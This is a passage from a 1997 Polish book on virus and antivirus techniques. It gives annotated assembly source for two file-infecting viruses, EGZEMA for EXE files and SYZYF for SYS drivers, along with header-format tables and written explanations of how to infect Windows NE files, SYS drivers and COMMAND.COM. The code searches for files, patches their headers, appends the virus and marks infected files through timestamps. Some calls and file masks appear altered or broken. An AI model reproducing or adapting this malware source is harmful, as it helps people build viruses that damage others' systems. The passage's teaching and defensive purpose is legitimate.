dec ax ; NIE zmniejsz ilsoc stron o jedna
NieZmniejszaj:
mov word ptr [si][Naglowek+04h],ax ; zapisz na pozniej
mov cx,512 ; wez dlugosc obrazu programu w stronach
mul cx ; i oblicz jego dlugosc w bajtach
add ax,word ptr [si][Naglowek+02h] ; dodaj ilosc bajtow na ostatniej stronie
adc dx,0 ; dodaj ewentualne przeniesienie
cmp ax,word ptr [si][NoweDTA.DTASize]
; czy rozmiar obrazu z naglowka
jne ZamknijPlik ; jest rowny dlugosci pliku ?
cmp dx,word ptr [si][NoweDTA.DTASize+2]
; / TAK - infekuj
jne ZamknijPlik ; / NIE - prawdopodobnie nakladka
sub ax,bp ; odejmij od dlugosci pliku
sbb dx,di ; / dlugosc naglowka
; ax,dx=dlugosc kodu programu
mov cx,16 ; oblicz nowe CS i SP
div cx ; dla programu
mov word ptr [si][Naglowek+14h],dx ; zachowaj nowe IP
mov word ptr [si][Naglowek+16h],ax ; zachowaj nowe CS
add dx,100h+VirusDlug ; stos bedzie za wirusem
and dl,11111110b ; SP - najczesciej jest parzysty
mov word ptr [si][Naglowek+10h],dx ; zachowaj nowe SP
mov word ptr [si][Naglowek+0Eh],ax ; zachowaj nowe SS
mov ax,word ptr [si][Naglowek+02h] ;
add ax,VirusDlug ;
cwd ;
mov cx,512 ;
div cx ;
add word ptr [si][Naglowek+04h],ax ; - zmien dlugosc obrazu
mov word ptr [si][Naglowek+02h],dx ; / w naglowku pliku EXE
or dx,dx ; /
jz NieDodawaj ; /
inc word ptr [si][Naglowek+04h] ; /
NieDodawaj: ; /
xor cx,cx ; zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem konca pliku
mov ax,4202h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na koniec pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,VirusDlug ; ilosc zapisywanych bajtow
mov dx,si ; podaj skad zapisac wirusa
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
xor cx,cx ; zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem poczatku pliku
mov ax,4200h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na poczatek pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,26 ; ilosc zapisywanych bajtow
lea dx,[si][Naglowek] ; podaj skad zapisac nowy naglowek
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,[si][NoweDTA.DTATime] ; przywroc czas z bufora DTA
mov dx,VZnacznik ; zaznacz infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz date, czas
int 21h ; wywolaj funkcje DOS
ZamknijPlik:
mov ah,3Eh ; funkcja DOS - zamknij plik
int 21h ; wywolaj funkcje DOS
PrzywrocAtrybut:
mov cl,[si][NoweDTA.DTAAttr] ; podaj stary atrybut
mov ch,0 ; CX=CL
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h
SzukajNastepnyPlik: ; poprzedni plik byl zarazony
mov ah,4Fh ; funkcja DOS - szukaj innego
; pliku EXE
int 21h ; wywolaj funkcje DOS
jnc KolejnyPlik ; gdy CF=1, to blad
BezInfekcji:
push es ; es=ds=PSP
pop ds ; /
mov dx,80h ; przywroc pierwotne DTA=PSP:80h
mov ah,1Ah ; funkcja DOS - ustaw nowe DTA
int 21h ; wywolaj funkcje DOS
pop ax ; zdejmij ze stosu wartosci
pop dx ; / SS i SP nosiciela
mov ss,dx ; i umiesc te wartosci w
mov sp,ax ; / SS i SP
db 0EAh ; powroc do nosiciela
SkokIP dw ? ; czesc skoku JMP FAR
SkokCS dw ? ; /
MaskaEXE db '*.EGZE' ; maska plikow EXE (ASCIIZ)
Naglowek db 26 dup(?) ; bufor zawiera zapamietane bajty
; z poczatku programu
; tu : kod rozkazu int 20h/NOP
; Czesc Informayjna
Informacja:
mov ah,09h ; funkcja DOS - wyswietl tekst$
int 21h ; wywolaj funkcje DOS
mov ah,01h ; funkcja DOS - czytaj znak
; ze standardowego wejscia
int 21h ; wywolaj funkcje DOS
; AL zawiera znak
push ax ; zapamietaj na chwile znak
mov ax,0E0Dh ; przejdz
int 10h ; do
mov ax,0E0Ah ; / nastepnej
int 10h ; / linii
pop ax ; przywroc znak
and al,11011111b ; konwertuj znak na wielka litere
cmp al,'T' ; czy potwierdzona infekcja ?
clc ; ustaw flage na TAK
je CLCRet ; TAK i powrot
stc ; ustaw flage na NIE i powrot
CLCRet:
ret ; powrot
TeInformacja db CR,LF,'EGZEMA v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
db DOLAR
StaryCS dw 0
StaryIP dw offset Nosiciel
StarySS dw 0
StarySP dw offset Nosiciel+100h
VirusEnd:
NoweDTA DTAStruc <?,?,?,?,?,?>
Nosiciel:
mov ax,4C00h
int 21h
EGZEMA ENDS
END VirusStart
4.1.2.2. Pliki EXE dla trybu chronionego (nowe EXE)
Duża część istniejących obecnie plików EXE to tzw. nowe EXE. Mają one inną budowę niż pliki przeznaczone dla systemu DOS. Na ich początku znajduje się krótki programik działający w systemie DOS, tzw. STUB, mający za zadanie bądź wyświetlenie komunikatu, iż plik zawiera program nie działający w systemie DOS, bądź też próbę uruchomienia zawartego w pliku właściwego programu dla trybu chronionego pod kontrolą odpowiedniego dla niego środowiska, najczęściej używającego trybu chronionego, np. WINDOWS, DOS4GW. Nawiasem mówiąc, fakt istnienia programu STUB stwarza możliwość napisania programu działającego równocześnie pod dwoma systemami, np. pod DOS i WIN-DOWS. To, który z programów byłby wykonywany byłoby zależne od systemu, pod którym byśmy aktualnie pracowali. Program dla DOS-a pełniłby tu rolę programu STUB.
Po programie STUB znajduje się właściwy program przeznaczony dla trybu chronionego, posiadający, podobnie jak programy dla DOS, odpowiednio sformatowany nagłówek. Różne systemy mają różną strukturę tego nagłówka, tak więc infekcja takich programów jest o wiele trudniejsza niż w przypadku plików przeznaczonych dla DOS. Komplikacje przy pisaniu wirusów infekujących takie pliki wynikają także ze znacznych różnic, jakie występują pomiędzy trybem chronionym, dla którego są one przeznaczone, a trybem rzeczywistym, używanym przez DOS. Potencjalny twórca takiego wirusa musi uwzględniać przy jego programowaniu podstawowe cechy systemów wielozadaniowych: podział i ochronę zasobów, fakt stronicowania pamięci, połączonego z wymiataniem nie używanych obszarów pamięci na dysk (ang. swapping} oraz podział programu na oddzielne bloki danych, kodu i stosu posiadających odpowiednie prawa dostępu, zawarte w deskryptorach. Można powiedzieć, iż bez dobrej znajomości trybu chronionego napisanie wirusa dla nowych EXE jest niemożliwe. Dowód na to stanowi stosunkowo mała liczba wirusów pisanych pod systemy Windows 3.l, Windows 95 czy OS/2 (inną ważną przyczyną tego stanu rzeczy jest utrudniony dostęp do dokładnych informacji o tych systemach).
Infekując pliki nowe EXE (za pomocą opisanej w poprzednim rozdziale metody) musimy na początku sprawdzić, czy rzeczywiście jest to plik tego typu. Porównujemy dwa pierwsze bajty pliku z sekwencją 'MZ' lub 'ZM' (na tym etapie nie jest ważne, dla jakiego systemu przeznaczony jest plik). Następnie, jeżeli porównanie wypadło pomyślnie, należy sprawdzić, czy na pozycji 18h-19h w nagłówku starego EXE znajduje się wartość 40h lub większa. Jeśli tak, to należy spróbować odczytać ewentualny nagłówek nowego EXE, w którym znajduje się odpowiedni znacznik (dwa znaki ASCII) informujący o systemie, dla którego program jest przeznaczony. Typowe znaczniki zawarto w poniższej tabeli.
Znaczniki rozszerzonego nagłówka nowych plików EXE
Znacznik |
Docelowy system |
NE |
Windows lub OS/2 1.x, z podziałem na segmenty |
LE |
Windows virtual device driver (VxD) z liniowym adresowaniem (Linear Executable) |
LX |
Wariant LE, używany przez OS/2 2.x |
W3 |
Plik WIN386.EXE dla Windows; kolekcja plików LE |
PE |
Windows NT lub Win32s (Portable Executable) |
DL |
HP 100LX/200LX (Pliki *.EXM) |
MP |
Stare pliki PharLap (pliki *.EXP) |
P2 |
PharLap 286 (pliki *.EXP) |
P3 |
PharLap 386 (pliki *.EXP) |
4.1.2.2.1. Pliki EXE dla Windows (NE)
W przypadku programów dla Windows (znacznik NE) infekcja plików polegać może na odpowiedniej modyfikacji pól nagłówka NE oraz dodatkowo tablicy segmentów zawartych w programie, którą trzeba rozszerzyć o segment identyfikujący miejsce w pliku, w którym znajduje się kod wirusa. Ze względu na to, iż rozszerzenie tablicy segmentów wiąże się z koniecznością przesunięcia całego następującego po niej kodu programu (najczęściej bardzo długiego), jako jedno z rozwiązań proponuje się zmniejszenie rozmiaru programu STUB i przesunięcie tylko początkowej części pliku (w tym wypadku cofnięcie części nagłówka) w tak wygospodarowane miejsce.
Format nagłówka pliku nowy EXE (NE) dla Windows pokazano poniżej.
Format nagłówka plików nowy EXE (NE) dla Windows
Adres |
Zawartość |
znacznik pliku, bajty 'NE' |
|
numer wersji programu linkującego (najpierw bardziej znacząca, potem mniej znacząca część) |
|
offset względem początku nagłówka do tablicy wejść; format tablicy wejść jest następujący 00 liczba wejść (00, jeżeli koniec listy) 01 numer segmentu (00, jeżeli koniec listy) 02 pierwszy rekord 05 drugi rekord Każdy rekord ma format flagi: bit 0: EXPORTED bit 1: SINGLE DATA bity 2-7: nie używane 01-02 ofset w segmencie |
|
długość (w bajtach) tablicy wejść |
|
08-0B |
kod korekcyjny (CRC) pliku |
0C |
flagi programu; znaczenie poszczególnych bitów 0-1 DGROUP 0 = nie ma 1 = SINGLE SHARED 2 = MULTIPLE (UNSHARED) 3 = (NULL) 2 bit globalnej inicjalizacji 3 program tylko dla trybu chronionego 4 program zawiera instrukcje 8086 5 program zawiera instrukcje 80286 6 program zawiera instrukcje 80386 7 program zawiera instrukcje 80x87 |
0D |
flagi aplikacji; znaczenie poszczególnych bitów: 0-2 typ aplikacji 001 pełnoekranowa (bez Windows AP! dla trybu chronionego) 010 kompatybilna z Windows API dla trybu chronionego 011 używa Windows API dla trybu chronionego 3 aplikacja przeznaczona dla OS/2 5 0=wykonywalna, 1=błędy w obrazie pliku 6 niezgodny typ programu (stos nie jest zachowywany) 7 plik DLL lub sterownik (SS:SP: złe wartości, CS:IP wskazuje na procedurę incjalizacji typu FAR, wywoływaną z AX=uchwyt do modułu, zwracająca AX=0 błąd lub AX<>0 poprawna inicjalizacja) |
0E-0F |
indeks do segmentu danych typu AUTODATA 10-11 inicjalny rozmiar sterty lokalnej |
inicjalny rozmiar stosu, dodany do segmentu danych lub 0000h, gdy DS=SS |
|
wejście do programu (CS:IP), CS oznacza indeks w tablicy segmentów |
|
18-1B |
daleki wskaźnik na stos programu (SS:SP), SS oznacza indeks w tablicy segmentów; jeżeli SS jest typu autodata i SP=OOOOh, wskaźnik stosu ustawiany jest na końcu segmentu danych typu AUTODATA, pod stertą lokalną |
1C-1D |
ilość segmentów 1 E-1 F ilość odwołań do modułów |
długość (w bajtach) nierezydentnej tablicy nazw |
|
offset względem początku nagłówka do tablicy segmentów, składającej się z rekordów o formacie (pierwszy rekord ma numer 1): 00-01 ofset w pliku (trzeba przesunąć o wartość z pola 32-3 nagłówka, aby uzyskać adres w bajtach) 02-03 długość obrazu pliku (0000h=64K) 04-05 atrybuty segmentu 0 segment danych 1 nie używane 2 REALMODE 3 ITERATED 4 MOVABLE 5 SHARABLE 6 PRELOADED 7 EXECUTE-CODE (kod) lub READ-ONLY (dane) 8 relokacje (bezpośrednio po kodzie w segmencie) 9 istnieją informacje dla debuggera 10,11 bity DPL dla 80286 12 DISCARDABLE 13-15 DISCARD PRIORITY 06-07 ilość bajtów do zaatakowania dla segmentu (0000h = 64K) |
|
offset względem początku nagłówka do tablicy zasobów |
|
offset względem początku nagłówka do tablicy nazw rezydentnych |
|
offset względem początku nagłówka do tablicy odwołań do modułów |
|
2A-2B |
offset względem początku nagłówka do tablicy nazw importowanych (tablica łańcuchów typu string, zakończona łańcuchem o długości 0) |
2C-2F |
offset względem początku nagłówka do tablicy nazw nierezydentnych |
ilość ruchomych punktów wejściowych zawartych w tablicy wejść |
|
wyrównanie strony (0=9 strona o rozmiarze 2 shl 9=512 bajtów) |
|
ilość wejść do tablic zasobów |
|
docelowy system operacyjny 00h nieznany 01h OS/2 02h Windows 03h Europejska wersja MS-DOS 4.x 04h Windows 386 05h BOSS (Borland Operating System Services) 81h PharLap 286IDOS-Extender, OS/2 82h PharLap 286IDOS-Extender, Windows |
|
dodatkowe flagi programu 0 używa długich nazw plików 1 tryb chroniony 2.X 2 proporcjonalna czcionka 2.X 3 0=gangload: nie ma, 1=gangload: jest |
|
offset do strefy gangload |
|
3A-3B |
offset do segmentu odwołańi do strefy gangload |
3C-3D |
minimalny rozmiar kodu wymienialnego |
3E-3F |
spodziewana wersja systemu Windows (mniej znacząca część jako pierwsza, bardziej znacząca część jako druga) |
Format tablicy relokacji pliku nowy EXE (NE) dla Windows
Adres |
Zawartość |
ilość rekordów w tablicy relokacji |
|
kolejne elementy tablicy relokacji; jeden rekord tablicy relokacji zajmuje 8 bajtów i ma format: 00 typ rekordu 00 LOBYTE 02 BASE 03 PTR 05 OFFS 0B PTR48 0D OFFS32 01 flagi rekordu bit 2: addytywny 02-03 offset w segmencie 04-05 docelowy adres segmentu 06-07 docelowy adres offsetu |
|
Format danych zawartych w tablicy zasobów pliku nowy EXE (NE) dla Windows
Adres |
Zawartość |
Wartość przesunięcia do dopasowania |
|
Kolejne rekordy zasobów o formacie: 00-01 identyfikator 0000 koniec rekordów >= 8000h typ INTEGER w przeciwnym wypadku offset względem początku zasobów do łańcucha 02-03 ilość zasobów danego typu 04-07 zarezerwowane 08 początek zasobów |
Format danych zawartych w zasobach pliku nowy EXE (NE) dla Windows
ofset (w dopasowanych jednostkach) do zawartości zasobów |
|
rozmiar zasobów w bajtach |
|
flagi zasobów bit 4: MOVEABLE bit5:SHAREABLE bit 6: PRELOADED |
|
typ zasobów; =8000 zasoby typu Integer |
|
08-0B |
zarezerwowane |
Format tablicy odwołań do modułów w pliku nowy EXE (NE) dla Windowa
Adres |
Zawartość |
ilość rekordów w paczce (0=koniec tablicy) |
|
znacznik segmentu: 00 nie używany FF MOVEABLE lub FIXED |
|
kolejne rekordy, każdy o formacie: 00 flagi bit 0: wejście jest eksportowane bit 1: wejście używa globalnych (współużywalnych) danych bity 7-3: ilość stów parametrów dla segmentu FIXED 01-02 ofset dla segmentu MOVEABLE 01-02 INT 3F (kod instrukcji: CDh 3Fh) 03 numer segmentu 05-06 ofset |
Format tablicy nazw rezydentnych/nierezydentnych w pliku nowy EXE (NE) dla
Adres |
Zawartość |
długość łańcucha (00=koniec tablicy) |
|
01-N |
łańcuch ASCII |
N+1-N+2 |
numer porządkowy w tablicy |
Wygląd zainfekowanego opisaną wcześniej metodą pliku EXE przed i po infekcji przedstawiony został w poniższych tabelach.
Wygląd niezainfekowanego pliku NE dla Windows
Zawartość pliku |
program STUB dla DOS Nagłówek programu STUB Kod programu STUB właściwy program dla Windows: Nagłówek NE Tablica segmentów Tablice z danymi o zasobach Kod programu dla Windows |
Wygląd zainfekowanego pliku NE dla Windows
Zawartość pliku |
program STUB dla DOS Nagłówek programu STUB Zmniejszony kod programu STUB właściwy program dla Windows zarażony wirusem: Nagłówek NE, cofnięty względem oryginalnej pozycji Tablica segmentów, cofnięta względem oryginalnej pozycji, rozszerzona przez wirusa o segment wskazujący na kod wirusa (na końcu pliku) Tablice z danymi o zasobach Kod programu dla Windows Kod wirusa |
4.1.3. Pliki zawierające sterowniki urządzeń SYS (BIN, DRV)
Pliki SYS zawierają tzw. sterowniki urządzeń blokowych lub znakowych, które mogą rozszerzać możliwości systemu DOS. Sterowniki te są ładowane tylko raz, w momencie startu systemu, na podstawie poleceń zawartych w pliku CONFIG.SYS (w Windows 95 także na podstawie MSDOS.SYS). Do ładowania sterowników DOS wykorzystuje funkcję (4B00/21), a więc tę samą, co w przypadku programów EXE i COM, jednak dla uruchamianego sterownika nie jest tworzony blok wstępny programu (PSP).
Na początku plików typu SYS znajduje się sformatowany nagłówek, zawierający dane dla systemu DOS, który poprzez zawarte w nim informacje może komunikować się ze sterownikiem. Format pliku SYS i jego nagłówka przedstawiono w poniższych tabelach.
Zawartość pliku SYS
Zawartość |
Nagłówek pliku SYS (patrz następna tabela) Kod sterownika |
Format nagłówka pliku SYS
Wskaźnik do następnego programu obsługi urządzenia, standardowo == 0FFFFFFFFh, co jest sygnałem dla systemu, iż plik zawiera tylko 1 sterownik. Gdyby plik zawierał więcej sterowników, w polu tym byłby zawarty adres kolejnego sterownika w pliku. |
|
Atrybuty urządzenia, informują o przeznaczeniu sterownika |
|
Adres procedury strategii (względem początku nagłówka). Procedura strategii służy do odebrania pakietu zlecenia od systemu DOS. |
|
Adres procedury przerwania (względem początku nagłówka), która na podstawie pakietu zlecenia, przyjętego przez procedurę strategii, wykonuje odpowiednie czynności, |
|
0A-0F |
Nazwa urządzenia znakowego (8 znaków) lub liczba jednostek dla urządzenia blokowego (1 bajt wykorzystany+7 bajtów rezerwowych). |
Aby zainfekować plik SYS, wystarczy zmienić adres którejś z procedur zawartych w polach 06h-07h lub 08h-09h tak, aby wskazywał on na kod wirusa, który zostaje dopisywany na końcu pliku. Po wczytaniu przez DOS zarażonego w ten sposób pliku zawsze zostaje wywołana procedura inicjalizacji sterownika, co pozwala wirusowi natychmiast zainstalować się w systemie, a następnie oddać sterowanie oryginalnemu programowi obsługi.
Alternatywnym (i chyba prostszym) sposobem zarażenia plików SYS jest wykorzystanie faktu, iż plik taki może zawierać więcej niż jeden sterownik. Aby zainfekować plik SYS, wystarczy więc na początku pliku zmienić pole 00-03 tak, aby wskazywało ono na koniec pliku, gdzie należy dodać kod wirusa, którego wygląd będzie podobny do zwykłego sterownika (będzie posiadał nagłówek oraz procedury strategii i przerwań). Podczas inicjacji DOS uruchomi oba zawarte w pliku sterowniki i w efekcie umożliwi działanie wirusowi. Jak widać, sposób infekcji tych plików jest bardzo prosty, stąd dziwi trochę fakt, iż stosunkowo mała liczba wirusów potrafi je zarażać.
Wygląd pliku SYS po zarażeniu pokazano w poniższych tabelach.
Zainfekowany plik SYS (ze zmianą adresów procedur w nagłówku)
Zawartość pliku |
Nagłówek sterownika ze zmienionymi adresami procedur strategii lub przerwania Kod sterownika Kod wirusa |
Zainfekowany plik SYS (drugi fałszywy sterownik)
Zawartość pliku |
Nagłówek sterownika ze zmianą adresu wskazującego na położenie drugiego sterownika w pliku Kod sterownika Nagłówek fałszywego sterownika (wirusa) Kod wirusa |
Ponizej przedstawiono przyklad prostego nierezydentnego wirusa infekujacego pliki SYS.
;
Czesc ksiazki : 'Nowoczesne techniki wirusowe i antywirusowe' ;
;
SYZYF v1.0, Autor : Adam Blaszczyk 1997 ;
;
Prosty wirus nierezydentny plikow SYS ;
Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;
znajdujace sie w biezacym katalogu ;
;
; Kompilacja : ;
TASM SYZYF.ASM ;
TLINK SYZYF.OBJ ;
MAKESYS SYZYF.EXE ;
;
SYZYF SEGMENT
JUMPS
ASSUME CS:SYZYF, DS:SYZYF
ORG 0000h ; SYS nie potrzebuje PSP
NUL = 00h ;
LF = 0Ah ; - stale znakow
CR = 0Dh ; / ASCII
AtrReadOnly = 00000001b ;
AtrHidden = 00000010b ;
AtrSystem = 00000100b ; rozne stale atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /
Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrVolumeID
; atrybut poszukiwanej pozycji
; katalogu
VirusDlug = offset (VirusEnd-VirusStart) ; dlugosc kodu wirusa
VRok = 1998 ; data opisujaca
VMiesiac = 13 ; - pliki juz zainfekowane
VDzien = 31 ; /
VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien
DTAStruc struc ; struktura DTA bufora transmisji
; dyskowych uzywanych przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc
DTAAttr db ? ; atrybut znalezionej pozycji
DTATime dw ? ; czas znalezionej pozycji
DTADate dw ? ; data znalezionej pozycji
DTASize dd ? ; dlugosc znalezionej pozycji
DTAName db 13 dup (?) ; nazwa znalezionej pozycji
DTAStruc ends
NAGL struc
NAGLAdres dd ? ; Adres nastepnego sterownika
NAGLAtrybut dw ? ; atrybuty sterownika
NAGLStrategia dw ? ; adres obslugi strategii
NAGLPrzerwanie dw ? ; adres obslugi przerwania
NAGLNazwa db 8 dup(?) ; nazwa sterownika
NAGL ends
Start:
SYSNagl NAGL <0FFFFFFFFh,8000h,ProceduraStrategii,ProceduraPrzerwania,'SYZYF'>
; tu jest naglowek
VirusStart: ; tu zaczyna sie kod wirusa
ProceduraPrzerwania:
push ax ;
push bx ;
push cx ; zachowaj
push dx ; zmieniane
push si ; / rejestry
push di ; /
push ds ; /
push es ; /
Call Trik
Trik:
pop si
sub si,offset Trik
push cs ; DS=CS
pop ds ; /
mov ax,[si][StarePrzerwanie] ; zachowaj adres do nosiciela
mov [si][SkokIP],ax
mov [si][SkokCS],cs
lea dx,[si][TeInformacja] ; podaj gdzie jest tekst
Call Informacja ; spytaj o uruchomienie wirusa
jnc Infekcja ; gdy CF=1, nie uruchamiaj
jmp BezInfekcji ; NIE - nie infekuj
Infekcja:
mov ah,2Fh ; funkcja DOS - pobierz adres DTA
int 21h ; wywolaj funkcje DOS
mov word ptr [si][DTASegOfs+2],bx ; zachowaj akualny adres DTA,
mov word ptr [si][DTASegOfs+2],es ; / aby mozna bylo go przywrocic
lea dx,[si][NoweDTA] ; miejsca gdzie bedzie nowe DTA
mov ah,1Ah ; funkcja DOS - ustaw nowe DTA
int 21h ; wywolaj funkcje DOS
lea dx,[si][MaskaSYS] ; maska poszukiwanych plikow '*.SYS'
mov cx,Atrybut ; podaj atrybut poszukiwanej pozycji
mov ah,4Eh ; funkcja DOS - szukaj pierwszej
; pozycji katalogu
int 21h ; wywolaj funkcje DOS
jc NieMaPlikuSYS ; gdy CF=1, to blad
KolejnyPlik:
cmp [si][NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz
; zarazony ?
je SzukajNastepnyPlik ; tak = szukaj nastepny
mov ax,word ptr [si][NoweDTA.DTASize+2]
; pobierz starsza czesc dlugosci
; pliku
or ax,ax ; czy plik krotszy niz 65536 ?
jnz SzukajNastepnyPlik ; nie - szukaj nastepnego
mov ax,word ptr [si][NoweDTA.DTASize]; pobierz dlugosc pliku
cmp ax,64000 ; czy dlugosc <= 64000 ?
ja SzukajNastepnyPlik ; nie - szukaj nastepnego
mov cx,AtrArchive ; podaj nowy atrybut : Archive
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do odczytu
mov ax,3D02h ; funkcja DOS - otworz plik
; do odczytu i zapisu
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
xchg ax,bx ; przenies uchwyt pliku do BX
mov cx,size NAGL ; ilosc czytanych bajtow
lea dx,[si][CzytNAGL] ; podaj dokad czytac 3 bajty
mov ah,3Fh ; funkcja DOS - czytaj z pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov ax,word ptr [si][CzytNagl.NaglAdres]
; wez 4 bajty z pliku do AX i DX
mov dx,word ptr [si][CzytNagl.NaglAdres+2]
cmp ax,0FFFFh ; czy AX=0FFFFh ?
jne ZamknijPlik ; NIE - szukaj innego plik
cmp ax,dx ; czy AX=DX=0FFFFh ?
jne ZamknijPlik ; NIE - szukaj inny plik
; TAK - na poczatku pliku jest
; 0FFFFFFFFh
mov ax,word ptr [si][CzytNagl.NaglPrzerwanie]
mov [si][StarePrzerwanie],ax ; wez adres przerwania
xor cx,cx ; zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem konca pliku
mov ax,4202h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na koniec pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov [si][CzytNAGL.NaglPrzerwanie],ax
mov cx,VirusDlug ; ilosc zapisywanych bajtow
lea dx,[si][VirusStart] ; podaj skad zapisac wirusa
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
xor cx,cx ; CX:DX zawieraja
xor dx,dx ; / adres wzgledem poczatku pliku
mov ax,4200h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na poczatek pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1 to blad
mov cx,size NAGL ; ilosc zapisywanych bajtow
lea dx,[si][CzytNAGL] ; podaj skad zapisac
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,[si][NoweDTA.DTATime] ; przywroc czas z bufora DTA
mov dx,VZnacznik ; zaznacz infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz date, czas
int 21h ; wywolaj funkcje DOS
ZamknijPlik:
mov ah,3Eh ; funkcja DOS - zamknij plik
int 21h ; wywolaj funkcje DOS
PrzywrocAtrybut:
mov cl,[si][NoweDTA.DTAAttr] ; podaj stary atrybut
mov ch,0 ; CX=CL
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h ; wywolaj funkcje DOS
SzukajNastepnyPlik: ; poprzedni plik byl zarazony
mov ah,4Fh ; funkcja DOS - szukaj innego
; pliku SYS
int 21h ; wywolaj funkcje DOS
jnc KolejnyPlik ; gdy CF=1, to blad
NieMaPlikuSYS:
lds dx, dword ptr cs:[si][DTASegOfs] ; przywroc pierwotne DTA
mov ah,1Ah ; funkcja DOS - ustaw nowe DTA
int 21h ; wywolaj funkcje DOS
BezInfekcji:
pop es ;
pop ds ;
pop di ; przywroc
pop si ; zmieniane
pop dx ; / rejestry
pop cx ; /
pop bx ; /
pop ax ; /
db 0EAh ; powrot do nosiciela
SkokIP dw ?
SkokCS dw ?
MaskaSYS db '*.SIS' ; maska plikow SYS (ASCIIZ)
; Czesc Informayjna ; wyswietla pytanie do uzytkownika
Informacja: ; czy chce uruchomic wirusa
push ax si
cld
mov si,dx
NastepnyZnak:
lods byte ptr cs:[si] ; kolejny znak komunikatu
or al,al ; czy koniec tekstu ?
jz InformacjaTxtOK ; TAK - koniec pisania
mov ah,0Eh ; pisz znak z AL
int 10h ;
jmp short NastepnyZnak
InformacjaTxtOK:
mov ah,0
int 16h
and al,11011111b ; konwertuj znak na wielka litere
cmp al,'T' ; czy potwierdzona infekcja
clc ; ustaw flage na TAK
je CLCRet ; TAK i powrot
stc ; ustaw flage na NIE i powrot
CLCRet:
pop si ax
ret ; powrot
TeInformacja db CR,LF,'SYZYF v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
db CR,LF,NUL
StarePrzerwanie dw offset Nosiciel
VirusEnd:
NoweDTA DTAStruc <?,?,?,?,?,?>
DTASegOfs dd ?
CzytNagl NAGL <>
ProceduraStrategii: ; na wejsciu ES:BX adres
; do pakietu zlecenia
mov word ptr cs:[AdresZlecenia],bx ; pobierz adres i zachowaj
mov word ptr cs:[AdresZlecenia+2],es; / go na pozniej
retf ; powrot z procedury
; strategii
AdresZlecenia dd ?
Nosiciel:
push ds ax bx
lds bx,dword ptr cs:[AdresZlecenia] ; pobierz adres pakietu
; zlecenia
xor ax,ax ;
mov word ptr ds:[bx+0Eh],ax ;
mov word ptr ds:[bx+10h],cs ;
mov byte ptr ds:[bx+0Dh],1 ;
mov word ptr ds:[bx+03h],8102h ;
pop bx ax ds
retf
SYZYF ENDS
END Start
4.1.4. Pliki systemowe DOS
4.1.4.1. Interpretator poleceń
Infekcja interpretatora poleceń (najczęściej plik COMMAND.COM) w zasadzie przebiega tak samo jak w przypadku innych plików COM lub EXE (tylko we wcześniejszych wersjach systemu DOS plik ten był typu COM). Szybkie infektory najczęściej szukają w otoczeniu programu łańcucha COMSPEC, będącego zmienną środowiskową systemu DOS, zawierającą pełną nazwę (łącznie ze ścieżką) interpretatora poleceń, i po znalezieniu od razu go infekują.
Inny sposób dotarcia do pliku interpretatora poleceń polega na zamazaniu części jego kodu, leżącego w pamięci służącej do analizowania i wykonywania poleceń. W rezultacie przy wykonywaniu jakiegoś polecenia z poziomu systemu DOS plik z interpretatorem poleceń będzie musiał zostać ponownie załadowany do pamięci, a wtedy wirus będzie mógł go zainfekować. Zarażając interpretator poleceń warto pamiętać o tym, iż posiada on na swym końcu pusty (wypełniony zerami) obszar przeznaczony na stos, który jest na tyle długi, iż można go wykorzystać, aby wpisać tam kod wirusa, co umożliwi wirusowi zainfekowanie go i przez to pozostawić długość pliku niezmienioną (pomimo zmienionej zawartości).
4.1.4.2. Jądro systemu (ang. kernel infector)
